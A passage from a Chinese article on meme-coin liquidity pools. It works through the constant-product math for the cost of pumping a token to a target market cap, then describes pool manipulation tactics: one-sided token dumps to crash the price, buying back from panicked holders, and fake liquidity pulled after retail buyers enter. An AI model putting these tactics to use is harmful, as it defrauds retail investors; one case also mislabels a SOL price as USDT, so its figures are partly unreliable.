style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.44em;vertical-align:-0.8384em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6016em;"><span class="svg-align" style="top:-4.4em;"><span class="pstrut" style="height:4.4em;"></span><span class="mord" style="padding-left:1em;"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.5616em;"><span class="pstrut" style="height:4.4em;"></span><span class="hide-tail" style="min-width:1.02em;height:2.48em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="2.48em" viewBox="0 0 400000 2592" preserveAspectRatio="xMinYMin slice"><path d="M424,2478c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121s209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081l0 -0c4,-6.7,10,-10,18,-10 H400000v40H1014.6s-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185c-2,6,-10,9,-24,9c-8,0,-12,-0.7,-12,-2z M1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8384em;"><span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">所需基准币</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mop">max</span><span class="mopen"><span class="delimsizing size1">(</span></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing size1">)</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord text"><span class="mord cjk_fallback">所需美元</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">Q</span></span></span></span></span></p><p>示例（仅作演示）：</p><ul><li>初始池：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span></span></span></span> MEME、<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">79</span></span></span></span> SOL，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.58</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span></span></span></span></span></span></span></span>（单位：MEME·SOL）</li><li>目标：总供给S=10亿，目标市值M=1亿美元，SOL价格Q=150 USDT</li><li>目标价格换算：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">100</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000/1</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000</span><span class="mclose">)</span><span class="mord">/150</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">6.667</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span></span> SOL/MEME</li><li>计算：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.1266em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9134em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">1.58</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">6.667</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span><span style="top:-2.8734em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1266em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">3</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">245</span></span></span></span> SOL</li><li>近似所需资金：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">245</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">79</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">150</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">475</span><span class="mord"><span class="mpunct">,</span></span><span class="mord">000</span></span></span></span> USDT</li></ul><p>提示：该量级与“初始池深(k)”和“目标价格(P1)”密切相关；不同初始池、不同基准币价格、不同手续费设定下，成本将显著变化。</p><h3 id="4-3-成本的数量级与敏感性">4.3 成本的数量级与敏感性</h3><ul><li>规模关系：在“恒定乘积近似、其他变量不变”前提下，成本随目标价格近似呈√关系，因此“边际成本递减”的直觉成立；但该关系对<code>k</code>、<code>Q</code>、手续费/税等高度敏感，不能简单套用固定系数。</li><li>关键变量：<code>k</code>（初始池深）越大、<code>Q</code>（基准币价格）越高、目标价格越高，所需成本越大。</li><li>建议做法：在给定具体池参数时，用上式逐步计算，并对<code>Q</code>、<code>k</code>、手续费做±10%敏感性分析，给出区间结果而非单点估计。</li></ul><h3 id="4-4-池子操控的四种典型模式：深度解析与实战案例">4.4 池子操控的四种典型模式：深度解析与实战案例</h3><p><strong>模式一：池子规模操控法</strong></p><p><em>数学原理：</em></p><p>设初始池子规模为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，如果将池子扩大 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 倍变为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，那么：</p><ul><li>新的恒定乘积：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span></li><li>拉盘到相同价格所需的资金增加 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 倍</li></ul><p><em>操作手法：</em></p><ol><li><strong>扩池砸盘</strong>：庄家单方面增加代币供应量到池子中，瞬间稀释价格</li><li><strong>缩池拉盘</strong>：在低位移除大量流动性，用较少资金即可拉升价格</li><li><strong>假流动性</strong>：先大量加池制造&quot;深度&quot;假象，吸引散户买入后立即撤池</li></ol><p><em>实战案例：</em></p><p>某个狗狗币项目，庄家操作流程：</p><ul><li>T0时刻：池子100万MEME + 100 SOL，价格 = 0.0001 USDT</li><li>T1时刻：庄家单边加入900万MEME，池子变成1000万MEME + 100 SOL</li><li>新价格 = 100/(1000万) = 0.00001 USDT，瞬间跌去90%</li><li>T2时刻：散户恐慌抛售，庄家低价回收筹码</li><li>T3时刻：庄家移除多余的MEME，价格&quot;神奇&quot;回升</li></ul><p><strong>模式二：单边加池砸盘法</strong></p><p><em>数学推导：</em></p><p>假设初始池子状态为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span>，价格 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">/</span><span class="mord mathnormal">x</span></span></span></span></p><p>如果庄家单边向池子加入 nx 数量的代币，新的池子状态为：</p><ul><li>代币数量：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></li><li>基础货币数量：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>（不变）</li><li>新价格：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0436em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1297em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ul><p><em>关键发现：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">价格下跌幅度</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8769em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span 